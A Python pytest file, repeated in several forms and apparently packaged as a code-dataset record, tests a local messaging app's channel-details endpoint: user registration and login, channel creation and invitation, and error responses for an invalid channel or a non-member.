<|reserved_special_token_0|> sys.path.append('..') <|reserved_special_token_0|> PORT_NUMBER = '5204' BASE_URL = 'http://127.0.0.1:' + PORT_NUMBER @pytest.fixture def register_loginx2_create_invite(): """ Registers, logs in 2 users, creates new channel """ req = urllib.request.Request(f'{BASE_URL}/workspace/reset', headers={ 'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) register_info_1 = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma', 'name_first': 'Alan', 'name_last': 'Turing'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_1, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) register_info_2 = dumps({'email': 'z5432455@unsw.edu.au', 'password': 'lovepassword', 'name_first': 'Ada', 'name_last': 'Lovelace'}).encode( 'utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_2, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) login_info = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma'} ).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info, headers={'Content-Type': 'application/json'}, method='POST') login_info = dumps({'email': 'z5432455@unsw.edu.au', 'password': 'lovepassword'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) channel_info = dumps({'token': user_1_token, 'name': 'a channel', 'is_public': True}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/channels/create', data= channel_info, headers={'Content-Type': 'application/json'}, method= 'POST') load(urllib.request.urlopen(req)) join_info = dumps({'token': user_1_token, 'channel_id': 1, 'u_id': 2} ).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/channel/invite', data= join_info, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) def test_details_basic(register_loginx2_create_invite): """ This test should pass with no issues """ user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) queryString = urllib.parse.urlencode({'token': user_1_token, 'channel_id': 1}) payload = load(urllib.request.urlopen( f'{BASE_URL}/channel/details?{queryString}')) assert payload['name'] == 'a channel' assert payload['owner_members'] == [{'u_id': 1, 'name_first': 'Alan', 'name_last': 'Turing'}] def test_invalid_channelID(register_loginx2_create_invite): """ Channel ID is not a valid channel """ user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) queryString = urllib.parse.urlencode({'token': user_1_token, 'channel_id': 50}) with pytest.raises(urllib.error.HTTPError): urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}') def test_unauthorised_user(register_loginx2_create_invite): """ Authorised user is not a member of channel with channel_id """ register_info_2 = dumps({'email': 'z5454545@unsw.edu.au', 'password': 'testPassword', 'name_first': 'Test', 'name_last': 'User'}).encode( 'utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_2, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) login3_info = dumps({'email': 'z5454545@unsw.edu.au', 'password': 'testPassword'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login3_info, headers={'Content-Type': 'application/json'}, method='POST') user_3_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMyJ9.hnzKv5QKl78L2jWvtB8w9kcxZHo1UFxGN5shF7HBK0Y'" ) queryString = urllib.parse.urlencode({'token': user_3_token, 'channel_id': 1}) with pytest.raises(urllib.error.HTTPError): urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}') <|reserved_special_token_1|> <|reserved_special_token_0|> import sys sys.path.append('..') from json import load, dumps import urllib.request import urllib.parse import pytest PORT_NUMBER = '5204' BASE_URL = 'http://127.0.0.1:' + PORT_NUMBER @pytest.fixture def register_loginx2_create_invite(): """ Registers, logs in 2 users, creates new channel """ req = urllib.request.Request(f'{BASE_URL}/workspace/reset', headers={ 'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) register_info_1 = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma', 'name_first': 'Alan', 'name_last': 'Turing'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_1, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) register_info_2 = dumps({'email': 'z5432455@unsw.edu.au', 'password': 'lovepassword', 'name_first': 'Ada', 'name_last': 'Lovelace'}).encode( 'utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_2, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) login_info = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma'} ).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info, headers={'Content-Type': 'application/json'}, method='POST') login_info = dumps({'email': 'z5432455@unsw.edu.au', 'password': 'lovepassword'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) channel_info = dumps({'token': user_1_token, 'name': 'a channel', 'is_public': True}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/channels/create', data= channel_info, headers={'Content-Type': 'application/json'}, method= 'POST') load(urllib.request.urlopen(req)) join_info = dumps({'token': user_1_token, 'channel_id': 1, 'u_id': 2} ).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/channel/invite', data= join_info, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) def test_details_basic(register_loginx2_create_invite): """ This test should pass with no issues """ user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) queryString = urllib.parse.urlencode({'token': user_1_token, 'channel_id': 1}) payload = load(urllib.request.urlopen( f'{BASE_URL}/channel/details?{queryString}')) assert payload['name'] == 'a channel' assert payload['owner_members'] == [{'u_id': 1, 'name_first': 'Alan', 'name_last': 'Turing'}] def test_invalid_channelID(register_loginx2_create_invite): """ Channel ID is not a valid channel """ user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) queryString = urllib.parse.urlencode({'token': user_1_token, 'channel_id': 50}) with pytest.raises(urllib.error.HTTPError): urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}') def test_unauthorised_user(register_loginx2_create_invite): """ Authorised user is not a member of channel with channel_id """ register_info_2 = dumps({'email': 'z5454545@unsw.edu.au', 'password': 'testPassword', 'name_first': 'Test', 'name_last': 'User'}).encode( 'utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_2, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) login3_info = dumps({'email': 'z5454545@unsw.edu.au', 'password': 'testPassword'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login3_info, headers={'Content-Type': 'application/json'}, method='POST') user_3_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMyJ9.hnzKv5QKl78L2jWvtB8w9kcxZHo1UFxGN5shF7HBK0Y'" ) queryString = urllib.parse.urlencode({'token': user_3_token, 'channel_id': 1}) with pytest.raises(urllib.error.HTTPError): urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}') <|reserved_special_token_1|> ''' HTTP Test for channel details ''' import sys sys.path.append('..') from json import load, dumps import urllib.request import urllib.parse import pytest PORT_NUMBER = '5204' BASE_URL = 'http://127.0.0.1:' + PORT_NUMBER #BASE_URL now is 'http://127.0.0.1:5321' @pytest.fixture def register_loginx2_create_invite(): ''' Registers, logs in 2 users, creates new channel ''' # RESET req = urllib.request.Request( f'{BASE_URL}/workspace/reset', headers={'Content-Type': 'application/json'}, method='POST' ) load(urllib.request.urlopen(req)) # REGISTER user_1 register_info_1 = dumps({ 'email': 'z5209488@unsw.edu.au', 'password': 'enigma', 'name_first': 'Alan', 'name_last': 'Turing' }).encode('utf-8') req = urllib.request.Request( f'{BASE_URL}/auth/register', data=register_info_1, headers={'Content-Type': 'application/json'}, method='POST' ) load(urllib.request.urlopen(req)) # REGISTER user_2 register_info_2 = dumps({ 'email': 'z5432455@unsw.edu.au', 'password': 'lovepassword', 'name_first': 'Ada', 'name_last': 'Lovelace' }).encode('utf-8') req = urllib.request.Request( f'{BASE_URL}/auth/register', data=register_info_2, headers={'Content-Type': 'application/json'}, method='POST' ) load(urllib.request.urlopen(req)) # Login user_1 login_info = dumps({ 'email': 'z5209488@unsw.edu.au', 'password': 'enigma' }).encode('utf-8') req = urllib.request.Request( f'{BASE_URL}/auth/login', data=login_info, headers={'Content-Type': 'application/json'}, method='POST' ) # Login user_2 login_info = dumps({ 'email': 'z5432455@unsw.edu.au', 'password': 'lovepassword' }).encode('utf-8') req = urllib.request.Request( f'{BASE_URL}/auth/login', data=login_info, headers={'Content-Type': 'application/json'}, method='POST' ) load(urllib.request.urlopen(req)) #return payload user_1_token = 'b\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg\'' #user_2_token = 'b\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMiJ9.UNGv0HfSeyM4FtXkAc4HfuOl_HyNLFmRMeLx_4c0Ryg\'' # user_1 creates a public channel channel_info = dumps({ 'token': user_1_token, 'name': 'a channel', 'is_public': True }).encode('utf-8') req = urllib.request.Request( f'{BASE_URL}/channels/create', data=channel_info, headers={'Content-Type': 'application/json'}, method='POST' ) load(urllib.request.urlopen(req)) # user_2 join user_1's channel join_info = dumps({ 'token': user_1_token, 'channel_id': 1, 'u_id': 2 }).encode('utf-8') req = urllib.request.Request( f'{BASE_URL}/channel/invite', data=join_info, headers={'Content-Type': 'application/json'}, method='POST' ) load(urllib.request.urlopen(req)) def test_details_basic(register_loginx2_create_invite): ''' This test should pass with no issues ''' user_1_token = 'b\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg\'' #user_2_token = 'b\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMiJ9.UNGv0HfSeyM4FtXkAc4HfuOl_HyNLFmRMeLx_4c0Ryg\'' # Get channels details queryString = urllib.parse.urlencode({ 'token': user_1_token, 'channel_id': 1 }) payload = load(urllib.request.urlopen(f"{BASE_URL}/channel/details?{queryString}")) #payload = load(urllib.request.urlopen(req)) assert payload['name'] == 'a channel' assert payload['owner_members'] == [{"u_id": 1, "name_first": "Alan", "name_last": "Turing"}] def test_invalid_channelID(register_loginx2_create_invite): ''' Channel ID is not a valid channel ''' user_1_token = 'b\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg\'' #user_2_token = 'b\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMiJ9.UNGv0HfSeyM4FtXkAc4HfuOl_HyNLFmRMeLx_4c0Ryg\'' queryString = urllib.parse.urlencode({ 'token': user_1_token, 'channel_id': 50 }) with pytest.raises(urllib.error.HTTPError): urllib.request.urlopen(f"{BASE_URL}/channel/details?{queryString}") #load(urllib.request.urlopen(req)) def test_unauthorised_user(register_loginx2_create_invite): ''' Authorised user is not a member of channel with channel_id ''' register_info_2 = dumps({ 'email': 'z5454545@unsw.edu.au', 'password': 'testPassword', 'name_first': 'Test', 'name_last': 'User' }).encode('utf-8') req = urllib.request.Request( f'{BASE_URL}/auth/register', data=register_info_2, headers={'Content-Type': 'application/json'}, method='POST' ) load(urllib.request.urlopen(req)) login3_info = dumps({ 'email': 'z5454545@unsw.edu.au', 'password': 'testPassword' }).encode('utf-8') req = urllib.request.Request( f'{BASE_URL}/auth/login', data=login3_info, headers={'Content-Type': 'application/json'}, method='POST' ) user_3_token = 'b\'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMyJ9.hnzKv5QKl78L2jWvtB8w9kcxZHo1UFxGN5shF7HBK0Y\'' queryString = urllib.parse.urlencode({ 'token': user_3_token, 'channel_id': 1 }) with pytest.raises(urllib.error.HTTPError): urllib.request.urlopen(f"{BASE_URL}/channel/details?{queryString}")
flexible
{ "blob_id": "c22b37bff74de7ea99f2009652dd00e57bb316b8", "index": 4383, "step-1": "<mask token>\n\n\n@pytest.fixture\ndef register_loginx2_create_invite():\n \"\"\"\n Registers, logs in 2 users, creates new channel\n \"\"\"\n req = urllib.request.Request(f'{BASE_URL}/workspace/reset', headers={\n 'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n register_info_1 = dumps({'email': 'z5209488@unsw.edu.au', 'password':\n 'enigma', 'name_first': 'Alan', 'name_last': 'Turing'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_1, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n register_info_2 = dumps({'email': 'z5432455@unsw.edu.au', 'password':\n 'lovepassword', 'name_first': 'Ada', 'name_last': 'Lovelace'}).encode(\n 'utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_2, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n login_info = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma'}\n ).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n login_info = dumps({'email': 'z5432455@unsw.edu.au', 'password':\n 'lovepassword'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n channel_info = dumps({'token': user_1_token, 'name': 'a channel',\n 'is_public': True}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/channels/create', data=\n channel_info, headers={'Content-Type': 'application/json'}, method=\n 'POST')\n load(urllib.request.urlopen(req))\n join_info = dumps({'token': user_1_token, 'channel_id': 1, 'u_id': 2}\n ).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/channel/invite', data=\n join_info, headers={'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n\n\ndef test_details_basic(register_loginx2_create_invite):\n \"\"\"\n This test should pass with no issues\n \"\"\"\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n queryString = urllib.parse.urlencode({'token': user_1_token,\n 'channel_id': 1})\n payload = load(urllib.request.urlopen(\n f'{BASE_URL}/channel/details?{queryString}'))\n assert payload['name'] == 'a channel'\n assert payload['owner_members'] == [{'u_id': 1, 'name_first': 'Alan',\n 'name_last': 'Turing'}]\n\n\ndef test_invalid_channelID(register_loginx2_create_invite):\n \"\"\"\n Channel ID is not a valid channel\n \"\"\"\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n queryString = urllib.parse.urlencode({'token': user_1_token,\n 'channel_id': 50})\n with pytest.raises(urllib.error.HTTPError):\n urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}')\n\n\ndef test_unauthorised_user(register_loginx2_create_invite):\n \"\"\"\n Authorised user is not a member of channel with channel_id\n \"\"\"\n register_info_2 = dumps({'email': 'z5454545@unsw.edu.au', 'password':\n 'testPassword', 'name_first': 'Test', 'name_last': 'User'}).encode(\n 'utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_2, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n login3_info = dumps({'email': 'z5454545@unsw.edu.au', 'password':\n 'testPassword'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login3_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n user_3_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMyJ9.hnzKv5QKl78L2jWvtB8w9kcxZHo1UFxGN5shF7HBK0Y'\"\n )\n queryString = urllib.parse.urlencode({'token': user_3_token,\n 'channel_id': 1})\n with pytest.raises(urllib.error.HTTPError):\n urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}')\n", "step-2": "<mask token>\nsys.path.append('..')\n<mask token>\n\n\n@pytest.fixture\ndef register_loginx2_create_invite():\n \"\"\"\n Registers, logs in 2 users, creates new channel\n \"\"\"\n req = urllib.request.Request(f'{BASE_URL}/workspace/reset', headers={\n 'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n register_info_1 = dumps({'email': 'z5209488@unsw.edu.au', 'password':\n 'enigma', 'name_first': 'Alan', 'name_last': 'Turing'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_1, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n register_info_2 = dumps({'email': 'z5432455@unsw.edu.au', 'password':\n 'lovepassword', 'name_first': 'Ada', 'name_last': 'Lovelace'}).encode(\n 'utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_2, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n login_info = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma'}\n ).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n login_info = dumps({'email': 'z5432455@unsw.edu.au', 'password':\n 'lovepassword'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n channel_info = dumps({'token': user_1_token, 'name': 'a channel',\n 'is_public': True}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/channels/create', data=\n channel_info, headers={'Content-Type': 'application/json'}, method=\n 'POST')\n load(urllib.request.urlopen(req))\n join_info = dumps({'token': user_1_token, 'channel_id': 1, 'u_id': 2}\n ).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/channel/invite', data=\n join_info, headers={'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n\n\ndef test_details_basic(register_loginx2_create_invite):\n \"\"\"\n This test should pass with no issues\n \"\"\"\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n queryString = urllib.parse.urlencode({'token': user_1_token,\n 'channel_id': 1})\n payload = load(urllib.request.urlopen(\n f'{BASE_URL}/channel/details?{queryString}'))\n assert payload['name'] == 'a channel'\n assert payload['owner_members'] == [{'u_id': 1, 'name_first': 'Alan',\n 'name_last': 'Turing'}]\n\n\ndef test_invalid_channelID(register_loginx2_create_invite):\n \"\"\"\n Channel ID is not a valid channel\n \"\"\"\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n queryString = urllib.parse.urlencode({'token': user_1_token,\n 'channel_id': 50})\n with pytest.raises(urllib.error.HTTPError):\n urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}')\n\n\ndef test_unauthorised_user(register_loginx2_create_invite):\n \"\"\"\n Authorised user is not a member of channel with channel_id\n \"\"\"\n register_info_2 = dumps({'email': 'z5454545@unsw.edu.au', 'password':\n 'testPassword', 'name_first': 'Test', 'name_last': 'User'}).encode(\n 'utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_2, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n login3_info = dumps({'email': 'z5454545@unsw.edu.au', 'password':\n 'testPassword'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login3_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n user_3_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMyJ9.hnzKv5QKl78L2jWvtB8w9kcxZHo1UFxGN5shF7HBK0Y'\"\n )\n queryString = urllib.parse.urlencode({'token': user_3_token,\n 'channel_id': 1})\n with pytest.raises(urllib.error.HTTPError):\n urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}')\n", "step-3": "<mask token>\nsys.path.append('..')\n<mask token>\nPORT_NUMBER = '5204'\nBASE_URL = 'http://127.0.0.1:' + PORT_NUMBER\n\n\n@pytest.fixture\ndef register_loginx2_create_invite():\n \"\"\"\n Registers, logs in 2 users, creates new channel\n \"\"\"\n req = urllib.request.Request(f'{BASE_URL}/workspace/reset', headers={\n 'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n register_info_1 = dumps({'email': 'z5209488@unsw.edu.au', 'password':\n 'enigma', 'name_first': 'Alan', 'name_last': 'Turing'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_1, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n register_info_2 = dumps({'email': 'z5432455@unsw.edu.au', 'password':\n 'lovepassword', 'name_first': 'Ada', 'name_last': 'Lovelace'}).encode(\n 'utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_2, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n login_info = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma'}\n ).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n login_info = dumps({'email': 'z5432455@unsw.edu.au', 'password':\n 'lovepassword'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n channel_info = dumps({'token': user_1_token, 'name': 'a channel',\n 'is_public': True}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/channels/create', data=\n channel_info, headers={'Content-Type': 'application/json'}, method=\n 'POST')\n load(urllib.request.urlopen(req))\n join_info = dumps({'token': user_1_token, 'channel_id': 1, 'u_id': 2}\n ).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/channel/invite', data=\n join_info, headers={'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n\n\ndef test_details_basic(register_loginx2_create_invite):\n \"\"\"\n This test should pass with no issues\n \"\"\"\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n queryString = urllib.parse.urlencode({'token': user_1_token,\n 'channel_id': 1})\n payload = load(urllib.request.urlopen(\n f'{BASE_URL}/channel/details?{queryString}'))\n assert payload['name'] == 'a channel'\n assert payload['owner_members'] == [{'u_id': 1, 'name_first': 'Alan',\n 'name_last': 'Turing'}]\n\n\ndef test_invalid_channelID(register_loginx2_create_invite):\n \"\"\"\n Channel ID is not a valid channel\n \"\"\"\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n queryString = urllib.parse.urlencode({'token': user_1_token,\n 'channel_id': 50})\n with pytest.raises(urllib.error.HTTPError):\n urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}')\n\n\ndef test_unauthorised_user(register_loginx2_create_invite):\n \"\"\"\n Authorised user is not a member of channel with channel_id\n \"\"\"\n register_info_2 = dumps({'email': 'z5454545@unsw.edu.au', 'password':\n 'testPassword', 'name_first': 'Test', 'name_last': 'User'}).encode(\n 'utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_2, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n login3_info = dumps({'email': 'z5454545@unsw.edu.au', 'password':\n 'testPassword'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login3_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n user_3_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMyJ9.hnzKv5QKl78L2jWvtB8w9kcxZHo1UFxGN5shF7HBK0Y'\"\n )\n queryString = urllib.parse.urlencode({'token': user_3_token,\n 'channel_id': 1})\n with pytest.raises(urllib.error.HTTPError):\n urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}')\n", "step-4": "<mask token>\nimport sys\nsys.path.append('..')\nfrom json import load, dumps\nimport urllib.request\nimport urllib.parse\nimport pytest\nPORT_NUMBER = '5204'\nBASE_URL = 'http://127.0.0.1:' + PORT_NUMBER\n\n\n@pytest.fixture\ndef register_loginx2_create_invite():\n \"\"\"\n Registers, logs in 2 users, creates new channel\n \"\"\"\n req = urllib.request.Request(f'{BASE_URL}/workspace/reset', headers={\n 'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n register_info_1 = dumps({'email': 'z5209488@unsw.edu.au', 'password':\n 'enigma', 'name_first': 'Alan', 'name_last': 'Turing'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_1, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n register_info_2 = dumps({'email': 'z5432455@unsw.edu.au', 'password':\n 'lovepassword', 'name_first': 'Ada', 'name_last': 'Lovelace'}).encode(\n 'utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/register', data=\n register_info_2, headers={'Content-Type': 'application/json'},\n method='POST')\n load(urllib.request.urlopen(req))\n login_info = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma'}\n ).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n login_info = dumps({'email': 'z5432455@unsw.edu.au', 'password':\n 'lovepassword'}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info,\n headers={'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n user_1_token = (\n \"b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'\"\n )\n channel_info = dumps({'token': user_1_token, 'name': 'a channel',\n 'is_public': True}).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/channels/create', data=\n channel_info, headers={'Content-Type': 'application/json'}, method=\n 'POST')\n load(urllib.request.urlopen(req))\n join_info = dumps({'token': user_1_token, 'channel_id': 1, 'u_id': 2}\n ).encode('utf-8')\n req = urllib.request.Request(f'{BASE_URL}/channel/invite', data=\n join_info, headers={'Content-Type': 'application/json'}, method='POST')\n load(urllib.request.urlopen(req))\n\n\ndef test_details_basic(register_loginx2_create_invite):\n \"\"\"\n This test should pass with no issues\n 